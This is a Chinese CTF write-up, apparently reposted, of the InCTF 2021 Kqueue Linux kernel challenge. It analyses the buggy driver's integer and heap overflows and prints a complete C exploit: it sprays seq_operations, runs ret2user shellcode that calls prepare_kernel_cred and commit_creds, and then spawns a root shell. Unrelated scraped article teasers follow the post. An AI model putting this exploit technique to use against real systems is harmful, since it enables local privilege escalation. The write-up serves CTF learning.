【ret2user】InCTF2021-Kqueue

前言

这题给了源码,感觉代码的问题很大。然后题目不算难,但是最后 ret2user 执行的代码很有意思。这里的思路是参考的 Roland_ 大佬的思路:[原创]InCTF 内核Pwn之 Kqueue-Pwn-看雪-安全社区|安全招聘|kanxue.com

最后不去泄漏 kernel_offset,直接利用 ret2user 时,内核栈上残留的内核地址进行提权,这个思路非常妙,可以说是情理之中意料之外,当然可能是我太菜(压上了)。

漏洞分析

保护:就开了个 kalsr 随机化保护。smep/smap/pti 全关了。所以可以直接 ret2user 了

然后内核版本为 v5.8.1,然后这个题目是 2021 年的,所以该内核应该存在 dirty pipe 漏洞,经过测试的确如此:这里并不利用该 nday 直接打

然后题目给了源码,还是比较给力的,这里源码我全注释了,就不一一解释了。

题目主要实现了一个菜单,有增、删、改、复制的功能,其中主要维护了以下结构:

create_kqueue 函数

该函数就是去创建上述结构的,其中用户传入 request_t 结构体指针。这里有意思的是程序中有一些错误检测,当不满足时都会调用 err,但是这里 err 仅仅是输出一个字符串后就返回,而不是 exit。这就导致整个程序的检测几乎都无效。

/*
typedef struct{uint32_t max_entries;uint16_t data_size;uint16_t entry_idx;uint16_t queue_idx;char* data;
}request_t;
*/static noinline long create_kqueue(request_t request){long result = INVALID;// 这里的 err 单纯打印一个字符串....if(queueCount > MAX_QUEUES)err("[-] Max queue count reached");/* You can't ask for 0 queues , how meaningless */if(request.max_entries<1)err("[-] kqueue entries should be greater than 0");/* Asking for too much is also not good */// #define MAX_DATA_SIZE 0x20if(request.data_size>MAX_DATA_SIZE)err("[-] kqueue data size exceed");/* Initialize kqueue_entry structure */queue_entry *kqueue_entry;/* Check if multiplication of 2 64 bit integers results in overflow */ull space = 0;// space = sizeof(queue_entry) * (request.max_entries+1)// __builtin_umulll_overflow 检测了乘法结果是否发生溢出// 但是 request.max_entries+1 可能存在溢出if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)err("[-] Integer overflow");/* Size is the size of queue structure + size of entry * request entries */ull queue_size = 0;// queue_size = sizeof(queue) + spaceif(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)err("[-] Integer overflow");/* Total size should not exceed a certain limit */if(queue_size>sizeof(queue) + 0x10000)err("[-] Max kqueue alloc limit reached");/* All checks done , now call kzalloc */// validate 就是对 err 的一个封装,所以这题相当于没检测queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));/* Main queue can also store data */queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));/* Fill the remaining queue structure */queue->data_size   = request.data_size;queue->max_entries = request.max_entries;queue->queue_size  = queue_size;/* Get to the place from where memory has to be handled */// 这里的 queue 是局部变量 queue* 指针而不是 queue 结构体// 所以 sizeof(queue) = sizeof(queue*) = 8// 所以这里其实就是 (queue_entry *)(queue + 1)// 不知道为啥要写这么蹩脚的代码......是我太菜了kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));/* Allocate all kqueue entries */queue_entry* current_entry = kqueue_entry;queue_entry* prev_entry = current_entry;uint32_t i=1;// 看到这里,我知道了 request.max_entries+1 溢出这个漏洞是故意给的了for(i=1;i<request.max_entries+1;i++){if(i!=request.max_entries)prev_entry->next = NULL;current_entry->idx = i;current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));/* Increment current_entry by size of queue_entry */current_entry += sizeof(queue_entry)/16;/* Populate next pointer of the previous entry */prev_entry->next = current_entry;prev_entry = prev_entry->next;}/* Find an appropriate slot in kqueues */uint32_t j = 0;for(j=0;j<MAX_QUEUES;j++){if(kqueues[j] == NULL)break;}if(j>MAX_QUEUES) // j == MAX_QUEUES 就不检测了???err("[-] No kqueue slot left");/* Assign the newly created kqueue to the kqueues */kqueues[j] = queue; // ? 这不数组越界???queueCount++;result = 0;return result;
}

漏洞点:request.max_entries+1 可能发生溢出,比如 request.max_entries = 0xffffffff,这是仅仅寄宿创建了一个 queue 头,但是 queue 中存的是 request.max_entries。

delete_kqueue 函数

static noinline long delete_kqueue(request_t request){/* Check for out of bounds requests */if(request.queue_idx>MAX_QUEUES)err("[-] Invalid idx");/* Check for existence of the request kqueue */queue *queue = kqueues[request.queue_idx];if(!queue)err("[-] Requested kqueue does not exist");kfree(queue);memset(queue,0,queue->queue_size); // ?? 释放之后把内容清空了 ?? 这啥操作kqueues[request.queue_idx] = NULL; // data 也没释放???return 0;
}

edit_kqueue 函数

static noinline long edit_kqueue(request_t request){/* Check the idx of the kqueue */if(request.queue_idx > MAX_QUEUES)err("[-] Invalid kqueue idx");/* Check if the kqueue exists at that idx */queue *queue = kqueues[request.queue_idx];if(!queue)err("[-] kqueue does not exist");/* Check the idx of the kqueue entry */if(request.entry_idx > queue->max_entries)err("[-] Invalid kqueue entry_idx");/* Get to the kqueue entry memory */queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);/* Check for the existence of the kqueue entry */exists = false;uint32_t i=1;for(i=1;i<queue->max_entries+1;i++){/* If kqueue entry found , do the necessary */if(kqueue_entry && request.data && queue->data_size){if(kqueue_entry->idx == request.entry_idx){validate(memcpy(kqueue_entry->data,request.data,queue->data_size));exists = true;}}kqueue_entry = kqueue_entry->next;}/* What if the idx is 0, it means we have to update the main kqueue's data */if(request.entry_idx==0 && kqueue_entry && request.data && queue->data_size){validate(memcpy(queue->data,request.data,queue->data_size));return 0;}if(!exists)return NOT_EXISTS;return 0;
} 

save_kqueue 函数

该函数会根据 queue->queue_size 创建一个新的 obj,然后以 request.max_entries 来将其 data 的内容复制到新的 obj 中。并且这里复制的大小由用户控制,虽然做了检测,但是上面说了,err 没啥用,所以这里存在堆溢出。

/* Now you have the option to safely preserve your precious kqueues */
static noinline long save_kqueue_entries(request_t request){/* Check for out of bounds queue_idx requests */if(request.queue_idx > MAX_QUEUES)err("[-] Invalid kqueue idx");/* Check if queue is already saved or not */if(isSaved[request.queue_idx]==true)err("[-] Queue already saved");queue *queue = validate(kqueues[request.queue_idx]);/* Check if number of requested entries exceed the existing entries */if(request.max_entries < 1 || request.max_entries > queue->max_entries)err("[-] Invalid entry count");/* Allocate memory for the kqueue to be saved */char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));/* Each saved entry can have its own size */// 这里对 request.data_size 的检测存在问题if(request.data_size > queue->queue_size)err("[-] Entry size limit exceed");/* Copy main's queue's data *///这里对 request.data_size 的检测是 "request.data_size > queue->queue_size"// 这里很明显的错误,应该是 "request.data_size > queue->data_size"// 所以这里也会导致堆溢出if(queue->data && request.data_size)validate(memcpy(new_queue,queue->data,request.data_size));elseerr("[-] Internal error");new_queue += queue->data_size;/* Get to the entries of the kqueue */queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);/* copy all possible kqueue entries */uint32_t i=0;// 1)// 这里就变成 request.max_entries+1 而不是 queue->max_entries+1 了// 所以这里结合上面的整数溢出就导致了堆溢出// 比如最开始传入 max_entries 为 0xffffffff,那么 queue->max_entries+1=0// 这时就分配了一个 queue 头,在 edit 和 add 后面都是不存在问题的,因为其使用的也是 queue->max_entries+1// 但是在 save 中,却使用了 request.max_entries+1,这里 request.max_entries+1 可不为0了// 所以这里会导致堆溢出// 2)// 并且这里对 request.data_size 的检测是 "request.data_size > queue->queue_size"// 这里很明显的错误,应该是 "request.data_size > queue->data_size"// 所以这里也会导致堆溢出for(i=1;i<request.max_entries+1;i++){if(!kqueue_entry || !kqueue_entry->data)break;if(kqueue_entry->data && request.data_size)validate(memcpy(new_queue,kqueue_entry->data,request.data_size));elseerr("[-] Internal error");kqueue_entry = kqueue_entry->next;new_queue += queue->data_size;}/* Mark the queue as saved */isSaved[request.queue_idx] = true;return 0;
}

漏洞利用

经过上面的分析,我们可以利用如下思路:

1)add,其中传入的 max_entries = 0xffffffff,data_size = 0x20*8(这里随你)此时仅仅创建一个 0x20 的 queue 和一个 data_size 大小的 data,但是其保存的 max_entries 是 0xffffffff 

2)利用 save 功能,此时会创建一个 queue_size = 0x20 大小的新 obj,然后将 queue->data 的数据复制到这个 obj 上,但是复制的数据长度是用户可控的,并且 err 检测没有实质性的作用。 

所以我们可以提前堆喷大量的 seq_operations(即 seq_file 文件的利用,这里 seq_operations 的大小也是 0x20,读者有问题可以参考我之前的文章)形成如下布局:

这是发生溢出的话就会覆盖 seq_operations 中的指针,如果将 seq_operations->start 覆盖为用户空间的一个地址的话,就可以实现 ret2user 了。

但是这里比较关键的就是如何进行提权,题目开了 kaslr,所以该如何泄漏 kernel_offset 呢?这里大佬给了一种方案。

因为是 ret2user,所以在执行用户空间代码时用的还是内核栈,所以可以在利用内核栈上残留的内核地址去计算出 commit_creds/prepare_kernel_cred 的函数地址。经过测试 rsp+8 位置存在一个固定的内核地址:0xffffffff81201179

exp 如下:
 

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>#define CREATE  0xDEADC0DE
#define EDIT    0xDAADEEEE
#define DELETE  0xBADDCAFE
#define SAVE    0xB105BABEtypedef struct{uint32_t max_entries;uint16_t data_size;uint16_t entry_idx;uint16_t queue_idx;char* data;
}request_t;int fd;
void add(uint32_t max_entries, uint16_t data_size)
{request_t req = { .max_entries = max_entries, .data_size = data_size };ioctl(fd, CREATE, &req);
}void edit(uint16_t queue_idx, uint16_t entry_idx, char* data)
{request_t req = { .queue_idx = queue_idx, .entry_idx = entry_idx, .data = data};ioctl(fd, EDIT, &req);
}void dele(uint16_t queue_idx)
{request_t req = { .queue_idx = queue_idx };ioctl(fd, DELETE, &req);
}void save(uint16_t queue_idx, uint32_t max_entries, uint16_t data_size)
{request_t req = { .queue_idx = queue_idx, .max_entries = max_entries, .data_size = data_size };ioctl(fd, SAVE, &req);
}size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void get_root_shell()
{puts("[+] Get Root Shell");printf("[+] UID: %d\n", getuid());system("/bin/sh");
}size_t rrip;
size_t kernel_addr;
void shellcode()
{
/*
[rsp+8] = 0x0xffffffff81201179
>>> hex(elf.sym.commit_creds)
'0xffffffff8108c140'
>>> hex(elf.sym.prepare_kernel_cred)
'0xffffffff8108c580'
*/asm("mov r14, [rsp+0x8];""mov kernel_addr, r14;""sub r14, 0x174bf9;" // prepare_kernel_cred"mov rdi, 0;""call r14;""mov rdi, rax;""mov r14, kernel_addr;""sub r14, 0x175039;" // commit_creds"call r14;""swapgs;""mov r14, user_ss;""push r14;""mov r14, user_sp;""push r14;""mov r14, user_rflags;""push r14;""mov r14, user_cs;""push r14;""mov r14, rrip;""push r14;""iretq");}int main(int argc, char** argv, char** env)
{save_status();int seq_fd[0x200];uint64_t buf[0x20];rrip = get_root_shell;if ((fd = open("/dev/kqueue", O_RDONLY)) < 0) err_exit("FAILED to open dev file");for (int i = 0; i < 0x20; i++) buf[i] = shellcode;add(0xffffffff, 0x20*8);edit(0, 0, buf);for (int i = 0; i < 0x200; i++)if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0)err_exit("FAILED to open seq file");save(0, 0, 0x80);for (int i = 0; i < 0x200; i++)read(seq_fd[i], buf, 1);puts("[+] NEVER EXP END");return 0;
}

效果如下:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/245299.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

stm32项目(11)——基于stm32的俄罗斯方块游戏机

1.功能设计 使用stm32f103zet6平台&#xff0c;以及一块LCD屏幕&#xff0c;实现了一个俄罗斯方块游戏机。可以用按键调整方块的位置、还可以控制方块下降的速度&#xff01; 2.视频演示 3.俄罗斯方块发展史 俄罗斯方块是一种经典的拼图游戏&#xff0c;由苏联俄罗斯工程师阿列…

【离散数学】——期末刷题题库(集合)

&#x1f383;个人专栏&#xff1a; &#x1f42c; 算法设计与分析&#xff1a;算法设计与分析_IT闫的博客-CSDN博客 &#x1f433;Java基础&#xff1a;Java基础_IT闫的博客-CSDN博客 &#x1f40b;c语言&#xff1a;c语言_IT闫的博客-CSDN博客 &#x1f41f;MySQL&#xff1a…

docker搭建nginx实现负载均衡

docker搭建nginx实现负载均衡 安装nginx 查询安装 [rootlocalhost ~]# docker search nginx [rootlocalhost ~]# docker pull nginx准备 创建一个空的nginx文件夹里面在创建一个nginx.conf文件和conf.d文件夹 运行映射之前创建的文件夹 端口&#xff1a;8075映射80 docker…

讲解商品比价API使用说明

今日讲解商品比价API使用说明 商品数据分析 国内最早的比价搜索平台&#xff0c;专注于电商大数据的分析&#xff0c;有10年技术和数据沉淀。 公司自主研发的爬虫、搜索引擎、分布式计算等技术&#xff0c; 实现了对海量电商数据的及时监测、清洗和统计。 数据丰富 详细使…

ApachePOI入门案例——向Excel文件写入内容

依赖 <dependency><groupId>org.apache.poi</groupId><artifactId>poi</artifactId><version>4.1.2</version> </dependency> <dependency><groupId>org.apache.poi</groupId><artifactId>poi-ooxml…

Burp suite抓虚拟机的包

参考&#xff1a;物理机burp抓虚拟机包) 打开物理机的Burp&#xff0c;Proxy->Proxy settings->Add->Specific address&#xff0c;挑个自己喜欢的&#xff08;除了 127.0.0.1 和 IPV6 地址&#xff09;。 端口号自己填一个。 打开虚拟机浏览器&#xff0c;Internet选…

健身网站的技术 SEO:提示和最佳实践

您是否正在为SEO优化您的健身网站&#xff1f;在这篇博文中&#xff0c;我们将介绍一些提高搜索引擎优化技术的技巧和最佳实践&#xff0c;以便谷歌和其他搜索引擎准确了解您的健身网站所提供的内容。让我们直接进入主题&#xff01; 了解基础知识 说到针对SEO健身网站&#…

3D模型渲染导致电脑太卡怎么办?

在线工具推荐&#xff1a; 三维数字孪生场景工具 - GLTF/GLB在线编辑器 - Three.js AI自动纹理化开发 - YOLO 虚幻合成数据生成器 - 3D模型在线转换 - 3D模型预览图生成服务 1、什么是3D渲染&#xff1f; 3D渲染是指通过计算机图形学技术将三维模型转化为二维图像的过程…

基于PLC的电梯控制系统(论文+源码)

1.系统设计 电梯采用了PLC控制方式&#xff0c;通过对PLC进行逻辑程序设计&#xff0c;电梯不仅在控制水平上得到了质的提升&#xff0c;同时在安全性上也得到了大大提高。控制系统在构造上实现了简洁化&#xff0c;不仅优化了硬件接线方便了线路施工&#xff0c;同时对控制要…

.NET8构建统计Extreme Optimization Numerical Libraries

为 .NET 8 构建统计应用程序 Extreme Optimization Numerical Libraries for .NET V8.1.22 添加了对 .NET 8 的支持&#xff0c;使您可以使用最新版本的 Microsoft 平台。 Extreme Optimization Numerical Libraries for .NET 是通用数学和统计类的集合&#xff0c;为技术和统计…

【python】——函数

&#x1f383;个人专栏&#xff1a; &#x1f42c; 算法设计与分析&#xff1a;算法设计与分析_IT闫的博客-CSDN博客 &#x1f433;Java基础&#xff1a;Java基础_IT闫的博客-CSDN博客 &#x1f40b;c语言&#xff1a;c语言_IT闫的博客-CSDN博客 &#x1f41f;MySQL&#xff1a…

动能资讯 | 智能音箱—万物物联新纽带

音箱市场在过去几年经历了显着的增长&#xff0c;这主要得益于数字音乐的普及和技术创新的推动。随着语音助手技术的发展&#xff0c;智能音箱如Amazon Echo、Google Home、Apple HomePod等逐渐成为市场中的热点。这些音箱不仅提供音频播放功能&#xff0c;还整合了语音识别和智…